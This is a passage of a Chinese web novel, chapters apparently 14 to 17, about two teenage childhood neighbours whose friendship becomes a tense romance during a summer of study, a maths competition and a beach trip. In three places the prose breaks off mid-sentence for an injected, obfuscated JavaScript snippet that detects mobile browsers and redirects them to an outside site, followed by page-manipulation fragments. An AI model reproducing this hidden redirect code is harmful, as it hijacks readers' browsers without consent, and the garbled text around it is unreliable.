她不知道自己怎么回事。明明大人们又出去各奔东西的开始忙碌,家里现在就只剩下自己一个人。 她非但没像以往那样感到落寞,无聊消磨。 反而还因为周祠的那句‘等我回来’,而倍感期待。 难道,这就是妈妈说的喜欢的感觉吗? 书黛打来电话,约了许舒檬去咖啡馆上自习。 这栋商场是她们常来的地方,分ABCD四个馆。B馆是美食玩乐区域,里面有大型电玩城,很多学生都爱来这里。 笨鸟先飞,说的就是她们这类人。 就算是放假也不能掉以轻心。 找了一个舒适的角落,两人坐在沙发里开始学习整理错题试卷。 书黛喝了一口奶盖,问许舒檬这个暑假还有没有其他打算。 许舒檬说了8月份要和周祠去参加学长海边毕业旅行的事。 书黛先是小小的羡慕了一下,接着就感叹周祠这么傲的人还能有这么体贴的一面。真是令人刮目相看。 许舒檬在誊写笔记,眼睛都没抬,长长的睫毛覆盖下来,又浓又密。 只听少女坚定道:“其实,他一直都很体贴。” 周爸处事周全,周妈落落大方,两人教出来的小孩又怎么会差。 书黛伸了小脑袋过来,左瞅右瞅,严谨道:“檬檬,你说你们这么天天上下学都一起,难道不会产生感情吗?” 说真的,俊男靓女,又是近水楼台,而且不管是什么原因,周祠还只对许舒檬一个人好,对别的女生都爱搭不理。 从书黛的旁观者角度来讲,换成是她,那铁定是把持不住,早就春心动荡了。 可看许舒檬一谈论起周祠,从来都是淡定,还带点嫌弃,多少是有些欢喜冤家的感觉。 笔顿了下。 上次诗曼刨根问底问打听自己和周祠是什么关系的时候,许舒檬还能信誓旦旦地拍着胸脯道和谁都可能,就是不可能和周祠。 但这次...... 许舒檬端起旁边的咖啡抿了一小口,掩去眼底的慌张:“黛黛,照你所说,是不是天天呆在一起,就很容易产生感情?” 书黛当然是肯定,以及必定的点了点头。 服务员此时端了两人点好的舒芙蕾和杨枝甘露上来。 书黛拿起银色的小刀叉在蓬松的舒芙蕾上面叉着,然后,看了看旁边,发现这里没有相熟的人,这才敞开了心扉,聊起舒檬不知道的八卦来。 “李枝桠李姐,和她那个新同桌罗治南,你知道吗?” 许舒檬点点头。上次分座位,李枝桠因为追星导致成绩下滑严重,当时想选的座位都没了。 李枝桠落了单,没办法的情况下,就和罗治南凑了对。 罗治南,罗直男。那是24K纯铁,硬到不能再硬,板正的不能再板正的死理科男。 坐一起后,罗治南对李枝桠下课就抱着手机在那儿对着屏保叫老公,三句话离不开自家爱豆,还在课桌上贴满正主他拍图的行为很是鄙夷。 “你以后的老公知道你年纪轻轻就有很多老公吗?” “关你屁事!” “你不觉得你这种自称是谁老婆的行为很败坏风气吗?” “关你屁事。” “少照镜子。照几百次你也当不了明星的女人。” “关——你——屁——事。” 李姐这脾气,那是不知道对着罗治南翻了多少次白眼。 有时候许舒檬路过两人的座位,一个背东,一个背西,都能看到李枝桠刘海卷着粉色卷发器,翘着二郎腿,宁愿对着镜子补妆,也不愿意多看罗治南一眼。 书黛摇摇头,“咳咳,就前两天逛街的时候,檬檬你知道吧。我遇见李枝桠跟罗治南两人单独出来看电影了。” 许舒檬啧舌:“这么快?” 这才两个月不到啊。 而且,他们之间,本就是众所周知,水火不相容的态度。 书黛小鸡啄米似地猛点头:“啊。就是这么快。暗恋是苔藓,明恋是台风。” “朝夕相处的,当同桌本来就很容易成为对方的crush。” “你给我讲题,我给你挡太阳。” “你看,这就是我们高中时代特有的喜欢。” 书黛一通好心的解释完毕,以为给了檬檬一个完美的答案。 没曾想,许舒檬听了,脑子里的毛线团却越绕越乱。 她咬着吸管,细细想了下。 李枝桠和罗治南是不是在谈恋爱,这个没有明确证据。 但能让李姐松口出来单独看电影,就说明两人之间肯定是有好感。 可这种好感,跟妈妈口中讲的那种愿意携手共一生,且结婚多年后还能如热恋般的喜欢,是一样的吗? 一口喝完手中的饮料,许舒檬犯了难。 她和周祠朝夕相处的时间,肯定比李姐和罗直男她们相处的时间要多的多。 那她这份对周祠拥抱的不排斥和贪恋,到底是经年累月的亲近,还是正儿八经的喜欢? 拥抱已经试过了。 那亲吻? 也许再进一步,她就能清晰明了自己的心意了。 许舒檬下一秒又否决。 不行。 亲吻,这是上了弦就没法回头的箭,连试都没法试的事情。 哪能随随便便就能碰人家嘴唇,哪怕那个人是鲜少对她说不的周祠。 许舒檬原本砰砰有些跳,快要藏不住的欣喜,在听到书黛这番话时,顿时冷静了下来。 两人的友谊是在朋友之上,家人之下,彼此还粘连着毫无血缘的亲情基础。 不能打破,至少不能轻易打破现在的平衡。 要是像墨水一样打翻了那股流淌的心绪,然后发现是个乌龙。而且,就周祠每天那欠揍的样,自己也不知道他对她有没有那意思。 多重否定,让许舒檬开始瞻前顾后,变得小心翼翼。 于是乎,那股刚刚冒出心尖的砰砰悸动,又被许舒檬理性地给摁了回去。 别激动,少幻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14497981|154586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想。 学习,好好学习。 高三了许舒檬!给我把心思放到高考上。 长呼了一口气,等心跳没那么激动了,许舒檬终于拿下摁住胸口的手,放松了下肩。 书黛坐对面,可爱皱鼻:“檬檬,你满头大汗干什么?” 书黛当然不知道许舒檬在进行怎么样的天人交战。 许舒檬吞咽了下口水,清澈的眼珠在笔记本上来回乱晃:“口渴,我口渴而已。” 她这样安慰自己。 - 周祠下了集训,回了竞赛场地的酒店。 一回酒店,就摸了手机出来给许舒檬报了平安。 许家祠:【中午吃的啥?看看。】 柠檬周:【/图片】 许家祠:【你晚上准备吃啥?】 柠檬周:【不知道。】 许家祠:【在家?】 柠檬周:【在往回赶。刚跟书黛自习完。】 许家祠:【哦。】 少年转着手机,靠着床头,闭目养神,过了会。 许家祠:【到家了拍下阳台上的花,看看。】 柠檬周:【啊?哦。】 一个啊字,暴露了许舒檬又忘了给花浇水。 她匆匆忙忙往16楼跑,书包在背后颠颠的,摁开密码后,把书包一放,就用水壶接了水给花解渴。 许家祠:【还没到?】 柠檬周:【到了,等下。】 她背靠露天阳台栏杆,呼吸微喘,对着透明落地推拉窗,双手举着手机,以45度仰角的弧度,对着地下一排的绿植玫瑰拍照。 等照片发过去,许舒檬就拿手扇风,边扇边回了卧室换衣服。 周祠一手垫着后脑勺,一指放大许舒檬拍过来的照片。 外面光线还亮着,整体照片都是浅色调为主。 白澄的天空,透明几净的窗户。再然后,就是扎着马尾,穿着棉质小白裙的姑娘。 图片看起来干净又清新,轻而易举的洗去周祠一天的疲乏。 周祠放大再放大,从不那么清晰的镜子影像里,找到许舒檬那张轻柔的小脸。 看样子,她努力垫高,笨拙的可爱,试图框一个全景,一次性给他拍完。 周祠嘴角弯出一抹惬意的弧度,颀长的身子倚靠在床头,就一直对着屏幕看。 门开,有人进来。 戴眼镜文质彬彬的男生抬头,对着床上的人说:“你还不洗澡?” 周祠撩了眼,淡定说:“马上。” 男生也是个老面孔了。去年竞赛就是周祠的有力对手,不过可惜是手下败将。 今年抽签再当对手,还莫名其妙成了室友。两人在比赛上也是相爱相杀,阿不,是单方面碾压。 他取下眼镜擦了擦,见学神摆弄手机,意犹未尽。 “你看什么这么上头?” 周祠舌尖抵了下腮,几分漫不经心:“想看?” 集训很烦,很闷。 周祠又话少,性格比较冷。这几天,两人回了房间也不怎么闲聊。 刚好有个话头。 男生也来了兴趣,正好套个近乎:“给看?” 周祠破天荒,大方把屏幕对着男生展示,挺自豪。 男生戴上眼镜,眼前一亮:“这谁?身材好正。腿玩年啊。” 大多数男生对腿毫无抵抗力。 更何况许舒檬的腿,又长又细,白皙匀称。 周祠皱眉,略把手机往自己侧了点。 他板着脸,挑了下眉:“啧,你看哪儿呢?” 接收到周祠警告的目光,男生挠了下头:“不好意思,本能。”他往周祠床尾一坐。 八卦:“你女朋友?” 周祠复又看向照片,自大而慵懒道:“你猜。” 你猜的意思就是八九不离十呗。 男生惊讶:“哇靠,学习这么忙,你还有心思搞这个?你平时怎么把妹的,教教我。” 周祠邪魅一笑:“教不了。命中带的,正缘懂不懂。”周祠不信邪,但有些命中注定的东西,你还真就没法说。 男生对周祠的时间管理很是吃惊。随后,他站起随口打趣:“那你们几天见一次面?” 周祠从床上蹦起来,准备去浴室里洗澡:“几乎每天。” 男生这次心里是真的吃了一个大憋:“可以啊你。行了不说了,再说我更嫉妒了。” 周祠觉得这话中听,接着大摇大摆地进了浴室。 洗澡前的最后一条。 许家祠:【作业写的什么,看看。】 看看。 又是看看。 这边许舒檬看到这两个字都快麻了。 她换了家居服,头发用小发夹随意夹起,打开冰箱端了水果盘出来,准备放常温了再吃。 许舒檬低头双手快速打字。 柠檬周:【烦不烦,整天给我发看看。】 柠檬周:【那你在干什么?看看。】 以其人之道,还治其人之身,不信治不了这人。 浴室里,周祠刚准备脱衣服。 看许舒檬破天荒、首次、主动给自己发了看看二字。 少年眉宇间勾出风流的意味,嘴角一弯。 柠檬周,这可是你要的,别说我不给啊。 西瓜没那么凉了。 许舒檬咬了一牙,边浏览朋友圈,边踩着拖鞋往真皮沙发上走。 周祠那边来了张照片。 她切换回聊天界面一看,差点没被嚼进嘴里的西瓜给噎死。 15. 三分 黑色T恤下摆被牙齿咬住。 这跟脉脉含情的咬唇有什么区别。 拍摄角度是从下往上。 他腹肌横陈,唇红齿白。那些结实的、如壁垒般的方块清晰可见。 腰微微弯曲,像极了传说中的公狗腰。 被掀开的衣服下摆,恰到好处的到了鼓鼓的胸肌下,就止步不前。 CK内裤边缘,脖子间的青筋,更大更有力量感的喉结。 以及背景里,能令人产生遐想的浴室。 少年眼尾低垂,漆黑黑的双眸迷离而有醉意,正聚焦与胯相平行的手机上。 图片有微微曝光。让他的五官朦胧中又带着几分说不出来的欲望性感。 这些几乎占据整张照片的元素,组成了两个字——色.情。 不带下流的色.情。 许舒檬没忍住,手指专注放大他裸露在外的肌肤部分。 她没想通,这是在做什么。 说了看看,倒也不至于发这种匪夷所思的照片过来。 没了后续,她把手机扔在一旁。 最后抱着抱枕,遮住想看又不忍直视的目光,以及满头问号的脑袋。 七月底,周祠荣归故里。 竞赛结果,李里格更早知道。 周祠刚到家,尊师就打了电话过来,说他给自己长脸。 许舒檬在周祠对面吃饭,听到一向淡定,鲜少夸人的李老师,竟然也有这么激动的一面。反观周祠,宠辱不惊,还能顺势虎口握着碗,喝进去一口粥。 许舒檬垂下眼帘,咬着筷子,觉得自己和周祠之间的距离越发遥远。 他太优秀,优秀到世间的一切,对他来说都是唾手可得。 埋头喝粥的那一刻,许舒檬弯了弯嘴角,对自己鼓励,许舒檬,你也不差,所以,别气馁。好好加油,有个这么大的榜样在身边,你也可以的。 她啊,像个默默赶路的书生。能接受身边暴烈炙热发光的存在,也能不惧骄阳掩盖的阴霾。 黄昏落垂。夕阳西下。 周祠出去比赛了两个星期,小区的很多球友对他都念念不忘。 两人从外面遛弯弯回来,优哉游哉地刚好路过篮球场。 此起彼伏的喊叫声。 “周祠,喂,这边。” “祠儿,来一局。” “周祠,来呗。” 周祠挺久没打,也挺手痒。 他看了看身边的许舒檬。 那些人看周祠这次没爽快的答应,反而还在向旁边的妹子征求意见。 “嫂子,让祠儿来一把呗。” “我的祠,你女朋友吗?” “刚好,嫂子过来镇镇场。” 许舒檬被喊的局促。 偏偏那些男生大声撺掇的声音又响彻全场,搞得许多人都往这边看。 周祠见许舒檬脸有些红,他手放在衣服下摆,撞了撞许舒檬的肩膀,问比自己肩膀还矮了一个头的人:“那我去了?” 许舒檬踢了踢脚尖,头都快抬不起来:“我又没拦着你。” 周祠吃了定心丸,双手抻着衣服下摆,把外面的T恤反手一脱,只留一件背心。 肩胛骨的肌肉随着他一脱一放的姿势,灵活又结实。 衣服和手机扔给许舒檬,他边倒退边对许舒檬不放心说:“那你别跑啊。等我结束一起。” 衣服还留有少年的体温。许舒檬抱着他的衣服和手机,百无聊赖的往旁边椅子上挪。 没一会儿,就有人挤了过来。 许舒檬往旁边让了让位置。 她挪,那人也跟着挪。 许舒檬皮笑肉不笑,乖巧的偏头问:“你好,有事吗?” 再挪她都快坐地上了。 女生眼神亮晶晶,看她像在看稀奇,说:“我男朋友也在场上。喏,现在在和周祠拍掌的那个。” 许舒檬做出恍然大悟的样子,客套回:“你男朋友好高大。” 聊八卦似乎能快速建起女生友谊联盟。 见许舒檬接了自己的茬,女生也热情的笑着说:“没你男朋友帅气。” 许舒檬乐了。先不说她误会周祠是自己男朋友这件事,再者,她怎么拿自己男朋友自贬打趣。 女生两眼一瞪:“你笑什么?” 许舒檬及时捂嘴:“没。你想多了。周祠不是我男朋友。他跟我是从小一起长大的邻居。” 这次捂嘴的变成了女生:“你睁眼说瞎话。” 许舒檬:“啊?” 女生:“啊不是不是。我是说,你说这话真假?” 许舒檬当然是点点头:“当然是真。” 女生梭巡一番,指了指某处:“你看见走掉的那群女生没?” 许舒檬示意自己看见了。 “你俩刚刚那一气呵成的默契,接衣服,拿手机,你还说不是?” “这是只有男女朋友之间的默契好不好。” “不然那群围观的人也不会走。” 女生抬手让许舒檬看看自己手里。 果不其然,黑色手机,衣服,甚至还有水瓶。简直是在球场等自己男朋友结束的女朋友标配行头。 许舒檬后知后觉,周祠的衣服瞬间成了烫手山芋,于是她有些苦恼:“我没想那么多。” 女生半信半疑,像是打抱不平:“那这群女生走的亏了。你都说不是了,她们都走了,那岂不是周祠就少了一些追求者。” 轮到许舒檬干巴的笑了两声:“是…是这样的吗。” 刚好周祠接球跑到了转角,他汗澄澄地回头看了许舒檬这边一眼。 边上的人开始打趣:“祠哥,你老往那边看怎么回事儿?你女朋友又不会跑。” 周祠把球往那人笑着腹部一砸:“少多嘴。” 许舒檬和周祠再度看过来的目光对上。 他看她脸色有点不对劲,不放心的用眼神关心。 ——怎么了? ——没事。 许舒檬淡淡的摇了摇头。 又把心思放回和旁边女生说话的注意力上。 女生啧啧两声。 你看都黏腻这份上了,眼神就差拉丝。 尤其是周祠那主动的劲儿,两人之间没点暧昧拉扯,那算个什么事。 什么时候见这拽屁大少爷这么主动过。 许舒檬抿唇:“那你的意思是,我挡他桃花了?” 女生登时两眼睁的铜铃大,警惕地后缩:“我没有,我不是,你别胡说。” 许舒檬抱着衣服,垂了下头,像在认真思索,接着温柔道:“谢谢你提醒啊,我之前还没发现有这个问题。你这么一说,好像,是有点。” “不是不是!”女生狂摇双手,差点舞出残影。 我靠,看着姑娘温温柔柔的性子,该不会是那种认死理的吧? 她刚刚只是调侃,没其他意思啊。 意识到自己好像闯了祸。 女生渐渐扶着凳子往外挪,哪有刚刚主动靠近的半分热情劲儿。 然后,她再小心翼翼的看了看时间。 女生先是口干舌燥地吞了下口水,盘算着一会儿怎么拉着自己男朋友离场,免得要是让周祠知道了这件事,怕自己男朋友不得被周祠给捶死。 “你,你别多想啊。啊哈哈,我觉的你跟周祠就是挺配的。你说你俩现在不是情侣,现在不是,之后也一定是嘛。” “哈哈,你看他们打完了。我男朋友口渴,那我先撤了。” “再见。” 刚散场,女生就拉着自己一头雾水的男朋友,风火轮似的往外撤离。 周祠拧了一瓶水走过来,他挑眉看了看两个快速在球场上消失的身影:“那女的跟你说什么了?跑那么快。” 许舒檬把外套递给他,平静而淡定:“我是不是挡你桃花了?” 她就这么仰头看着他,唇樱粉,眼湿润,沾点月光。纤细的手腕举着,手里还拿着自己的外套。 没及时接过。周祠顿了下,黝黑的目光沉在她探求的视线里。 敛了神色,舔了下干燥的唇。手叉腰,眉微拢,他下巴朝人离开的方向点了下:“她说的?” 许舒檬眨眨眼:“我才反应过来。多亏她提醒。” 周祠没笑,唇线绷直,一双眼从下到上扫了眼她:“那你别信。胡言乱语。” 简直是胡说八道,危言耸听。 他伸手去接衣服。 许舒檬却突然往回一收,躲闪地看向地下:“周祠。” “你不觉得我们太没分寸了吗?” - 她觉得于心不忍。 不该的,周祠有选择的权利。 可她又算什么。 不是女朋友,却做着类似女朋友的事。 成千上万的误会,席卷而来。 只会让别人对他避之不及。 那样到最后,他身边就只剩下了她自己。 许舒檬不希望自己成为那个画地为牢的刽子手。 她凭什么,她又为什么。 许舒檬站了起来,拍拍裙摆。 球场边的灯光骤然照亮她的瞳孔,跟星辰交织在一起。 像是收拾好情绪,她对着周祠勉强一笑:“以后我会注意点。” 周祠难以置信。绷着下巴,胸膛起伏了两下,伸手拿过许舒檬手里的衣服,接着一言不发的转身。 两人一前一后走着。 周祠时不时拧开盖子喝水。 他喝水的姿势很随性自然, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14505596|154586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从后面看,头颈笔直,又带着桀骜不驯。 周围有认识的邻居路过打招呼。 周祠兴趣乏乏的闷声回‘嗯’‘吃了’‘你玩好儿’。 倒是许舒檬,要稍微客气礼貌点。 看着眼前那个高大的身影,许舒檬不知道自己哪里惹他生气了。 总之,两人一路无言。 进了电梯,他先刷的卡。 16楼的按键亮了。 许舒檬摸不透他在想什么,讪讪又忐忑。 甚至觉得自己有必要现在就开始遵循‘我会注意点’的相处法则。 最后,少年身后,一只小手拿着15楼的电梯卡越过,刷了下。 15楼的按键倏然亮起。 他站的稍前一点。 没好气,沉默不吭声,直接按灭15楼。 她以为恶作剧。 又去刷亮15楼。 他又摁灭。 幼稚鬼。 小嘴微嘟。 她刷亮。 他不厌其烦的继续摁灭。 16楼,电梯门豁然打开。 她连回头的路都没有。 在外面吵,不合时宜。 这次她走在前面。 门开,两人换了拖鞋。 她转身,捏手等着。 小脑袋仰头问他:“周祠,你什么意思?” 他双手插兜,现在脸上有了表情,只是带着薄薄愠怒:“我该问你是什么意思?我哪儿做错了?” 出去的时候,两人玩的好好的。 就他妈听了别人一句话,她现在要跟自己画三八线。 还是又粗又长的那种是吗。 走近,他低头看她,少年头发长的快,出去前剪的寸头,现在几乎又快要遮眼。 他努力压住自己胸腔里的怒气,也控制住自己眼里的阴沉:“我什么时候说过你挡我桃花了。” 许舒檬试图讲理:“你没说过。但我不想大家过度误会。” 学校里还好,两人就是上下学的时候一起走。 而且她解释的也够清楚,所以倒也不至于让无端的猜测,影响两人的学校生活。 但是出了学校,更生活化,也让两人更多相处时的细节暴露无遗。 少年偏头,眼皮跳了下。待他再转过头时,眼下那一圈有点红:“误会什么。你以为我怕?许舒檬,你能不能别多想。” 至少别因为别人的一句话,随随便便就多想。 这样会显得他原本以为两人之间无坚不摧的关系,就像盘沙一样,风一吹就散了。 那这样,是真的可笑。 许舒檬定定看着他,眼底都是真情实意:“我为你好。” 他有点崩溃。 一句我为你好,就像是打着关怀的旗帜,让他根本没办法反驳。 “我不需要。” 又怕她误解加深:“我不要你用这样的方式对我好。” 为什么要避开? 为什么要注意? 原来是怎么样,现在还是怎么样,不好吗。 许舒檬慢慢:“可是,你也应该有选择。” 周祠压抑着。他甚至开始看着她,眼底铺上一层不争气的焦急:“我该有什么选择。那些虚无缥缈的东西,我不要。” 许舒檬难得在他面前硬气一回:“你不试试怎么就知道你不要!” 他终究是忍不住了。 这和把他往别的女人身边赶有什么区别。 把人往后面一推,许舒檬的蝴蝶骨碰到墙壁。 她轻声疼的倒吸气。 他听到了,没辙,觉得自己不该冲她发这么大的气。 最后嗓子哑了,连周遭的气压都冷了下来。 没这样过。 第一次。 很奇怪。 又很难受。 不是过家家的吵闹。 而是彼此扎心的争执。 争执,她不该不合时宜。 她该理智而清醒的拉开分界线。 周祠最后都快被她倔强的态度给气笑了。 不然呢,还能气哭吗。 没开灯,室内黑暗。 他手撑着墙壁,头埋在她耳边,闭着眼睛,呼吸像粗重的拖拉机。 也是煎熬了好久,他才张了张干涩的嘴唇:“那你到底想我怎么样?” 卑微,连气到流泪都要藏着捏着。 她贴着墙,整个人被他的身子笼罩。两个人的影子在墙壁上拉的老长。 等一切恢复平静了。 她偏开头:“不是你该怎么样,而是我该怎么样。” 好。 很好。 他还能怎么样呢。 如你所愿。 16. 三分 8月,官尚也飞了回来。 迟让,丞磊,许舒檬,周祠,一行共五个人,浩浩荡荡地朝着海边出发。 官尚下了飞机,直奔目的地。 好久没见这群人了。 跟檬檬打了招呼,接着,站着的三个少年,一人挨了官尚一拳捶。 捶到周祠,这小子非但没反抗,反而只是捂着胸口,只恹恹的看了他一眼。 官尚像发现新大陆,回头对着许舒檬惊奇地说:“檬檬,你把这小子训得够好呀。现在怎么这么懂得礼义廉耻,尊老爱幼了。” 搁以前,两人不得来回打一架才怪。 周祠嘁一声,没说话。没了印象当中的轻佻散漫,现在的他眼眸黑沉,不带一丝情绪,冷酷无情的很。 许舒檬适时走开,独自往前走,去捡退潮的贝壳。 官尚扫了旁边的迟、丞二人。 得到的回应只是统一动作的耸肩而已。 还在一起住。 但是,不用同一个杯子了,不跟他挤一张沙发了,晚上睡觉也锁门了。过来他房间听他讲题,也不穿睡裙吊带了。 就这种不冷不热的态度,好几天了。 一直延续到出来玩。 所以,这就是她口中说的注意点? 官尚摸了摸鼻尖,情场老手的经验。他搂住迟、丞二人,老神在在:“让祠儿吃点苦头吧。不然一天天的,嘚瑟个没完。” 迟让和丞帆对看一眼,默契的再度点头。 三人转身,就看到周祠眯着眼睛,危险打量:“背着我蛐蛐什么?” 三人嘿嘿装傻,齐齐抬手指天:“祠儿,你看那天真好看,紫色带粉。” “好看。” “对快看快看。” 周祠:“……”就他妈无语。 迟让租的海边别墅民宿。 出来就是沙滩。 四个男生在玩沙滩排球。 许舒檬也没闲着,戴着遮阳编织帽,提着个小桶,穿着嫩黄色的长裙,沿着沙滩海岸线,边捡边走。可爱的犯法。 在周祠视线范围内,他也没阻拦。 只不过时不时抬头看下她在哪儿就是了。 迟让没邀请其他女的进来,因为怕不必要的麻烦。还是熟人场好玩些。 反正,别墅里房间也够,给许舒檬体贴的单独留够一间就是了。 球打着打着,见周祠心不在焉。其他几个男的也心领神会,太阳落进海岸线的时候,就说回去了。 周祠小跑过去找许舒檬。 刚下意识伸出去的手,又收回。他讪讪地捻了捻干燥的手指,对着蹲在那里拿木棍逗螃蟹的人:“走了。” “好,来了。” 她摁住被海风吹的帽子,踩着柔软的沙子,跌跌撞撞的往他这边走。 不拉手,那提桶可以吧。 他伸出手,语气平静:“我来吧。” 许舒檬迟疑了一下,两只手在把手上来回交替,犹豫要不要给他。 少年穿着夏威夷风短袖,下身是沙滩裤,身形挺括,小腿肌肉一览无遗。 周祠脾气是真的被这姑娘给磨了一大半。 他低头好声商量:“那你握一半,我握一半,成不?” 两人并肩落在大部队后面。 许舒檬埋着头,不知所措地点了点头。 连和周祠眼神对视的机会都没给。 他妈的,他还真就豁出去了。 就跟幼儿园时候一样,他在前面握着一半把手,她在后面握着一半把手,一个可怜的红色小桶把两个沉默的人给连接了起来。别扭的可怕。 台阶上的三人看好戏:“啧——啧——啧” 一向善解人意的迟让都没忍住笑:“我说祠儿,这是怎么惹到舒檬了?” 官尚幸灾乐祸,就他笑得最大声,耀武扬威的:“风水轮流转。甭管怎么惹的吧,让檬檬狠狠教训这小子,免得仗着自己身边有人,就看不起我们这些单身狗。” 怎么办,看周祠吃瘪,也是当兄弟的一大乐趣啊。比出来玩还带劲儿。 丞帆赞同的拍拍官尚的肩,笑得也是无比灿烂。 毕竟是迟学长和丞学长的毕业旅行。 许舒檬拿过相机,帮两人拍了很多照。 她拍照技术可以,把照片传到五个人的出游群的时候,迟让也是赞不绝口。 周祠拿到手机,看着群里兄弟对许舒檬的夸赞,也是扬着下巴,止不住地笑了一下。 油然而生的,颇有种‘是吧,我家的’的自豪感。 晚上就在露天式院子里烤烧烤。他们来之前就买好了食材,这会儿只需要从冰箱里把东西拿出来准备好就行。 院子里的绿植茂盛,石桌椅凳也是一应俱全。 官尚就是甩手大爷。全场指指点点,倍遭嫌弃。 丞帆在旁边穿串,周祠负责烤,迟让负责切菜。 许舒檬,没人舍得让她干粗活。 她想帮忙,结果无一例外都婉拒,让她去边边玩去。等烤好了自然会叫她。 没办法,许舒檬穿着长裙,站水龙头旁清洗自己捡回来的各类贝壳,细细的,慢慢的,安静温柔的,她的画风独成一派,连莹白的月光都在她身边起舞。 官尚捧哏捧累了。于是背着手说我出去溜达一会儿。 迟让见人出了院子,不放心对着另外两个人道:“他小子不会出去惹事吧?” 这个天热,更别说还是海边。 周祠站烤架旁边烤,光着膀子。今天玩沙滩排球忘记擦防晒霜了,冷白的肌肤上有点泛红,也不知道晒脱皮没有。 肩膀上搭着一条毛巾,别说,还真有几分专业烧烤师傅的那架势。 拿毛巾擦了擦下颌的汗水,周祠嗓音带讥嘲的语气,透着痞气不屑吐槽:“艳遇还差不多。” 迟让知趣点头:“就知道这货闲不住。” 烤到一半,许久没听到许舒檬发出动静。 周祠抬头梭巡,看许舒檬在干什么。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14558231|154586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发现这姑娘跑去切水果,还摆盘。 于是得出结论,这也是个闲不住的货。 周祠见刚烤好的鸡翅已经在一旁放温了些。 他招手叫许舒檬过来。 “过来,尝尝。不辣的。” 许舒檬转头走过去,她伸出小手要接过串。 周祠见状拿走。 她再接。 他又再移开。 两人无声僵持。 周祠最后懒懒开口:“就这样吃。免得弄脏你的手。” 她抬头看他一眼,少女眸光里映着漫天星辰。 少年没别的情绪,漆黑眼眸,但也透着坚持。 她趁人不注意,掐了掐他光滑的腰,小声提醒他之前两人做了什么约定。 他熟视无睹,装腔作势。 她不吃,他就一直举着。 还是迟让在旁边装什么都不懂,助攻似的咳了声。 许舒檬见场面上过不去,大家都在。 没办法,只好伸着雪白的脖子,就着他的手,往前一口咬了下去。 贝齿一咬,鸡翅烤的冒油,孜然和辣椒面放的刚刚好。她吃辣不习惯,周祠放的也不多。 小嘴鼓鼓,慢慢嚼着。 他期待:“好吃吗?” 美食放松了心情。 她点头:“嗯。超好吃。” “这块,你也尝尝。” 边吃,边观察情绪。 周祠嘴角不羁的弧度越来越大。 如乌云见月,阴霾挥散。 想通了,与其让她胡乱气自己,还不如自己主动把握命运。 不然你在旁边气得都快七窍流血了,这人还傻乎乎的问你怎么了周祠,你说话啊。 你说扎不扎心。他何曾受过这般委屈。 万年第一的脑子,从前没想过把头脑用在许舒檬身上。 但后来发现,不用在这姑娘身上不行。 因为你保不准哪天,她就跑偏了。 一天一个样。什么狗屁桃花,什么三八线。 周祠觉得很有必要,不再任她随心所欲。适时的把握一下主动权,权当是情趣。 吃完,她白皙下巴上沾上了油。 周祠垂着眼眸,也不带嫌弃,就居高临下的,拿掌心粗糙一摸,跟小孩儿擦嘴似的。 她捂着下巴,两眼小鹿惊慌失措:“你!” 周祠吊儿郎当,斜扯嘴角:“我?” 以前没有过吗?大惊又小怪。 “快快快,一边儿去。别挡着我烟了。” 他装作不耐烦似地催着她去一边坐着,切水果也好,玩贝壳也好。 总之,周祠越想越开心。 觉得自己应付女人心思越来越熟练。 然而,他还没开心多久。 隔着老远,院子及腰的栅栏门被打开。 官尚在前面开路,冲着里面的人止不住的雀跃,大叫了声:“兄弟们,看看我带谁来了?” 17. 三分 暑假季,出来玩儿的基本都是学生。 宁蜜和班上的同学也在。 好巧不巧,也是在这一片区域度假。 官尚晃着晃着,不知道怎么和宁蜜搭起腔来了,还聊得很投机。 同学她们也在烤烧烤。 宁蜜惊呼:“遭了,她们说海盐不够。” 官尚乐于助人,尤其是看到宁蜜这样好看的女生。 他大手一挥,地主家的傻儿子很是潇洒说道:“我们有啊。不介意,去我们那儿拿。就隔壁。” 宁蜜喜出望外:“真的?” 官尚点头:“那是。” 于是,宁蜜跟着官尚回了来。 官尚身子一让开,宁蜜的样子就露了出来。 “是你?” “是你?” 周祠稍许怔愣在原地。 宁蜜倒是一眼看到人群中最出众的他。 周祠的身材练的很匀称。结实有力,薄薄的肌肉覆盖在骨架上,劲瘦又干练。 官商脑袋来回转:“你们,认识?” 宁蜜像是捡了天大的便宜,冲着官尚解释说:“一个学校的。而且还是一个年级的。” 官尚社牛,一拍即合:“那一起呗?人多好玩。今晚开个烧烤趴。” 周祠不放心地看了眼许舒檬,许舒檬对宁蜜倒有些印象。 主持人,文艺表演,学校里很多都有宁蜜的影子。 相遇就是缘。也没有拒绝的道理。 迟让缓慢地褪下手套,淡淡含笑发话:“既然难得都是一个学校的,那就一起吧。” 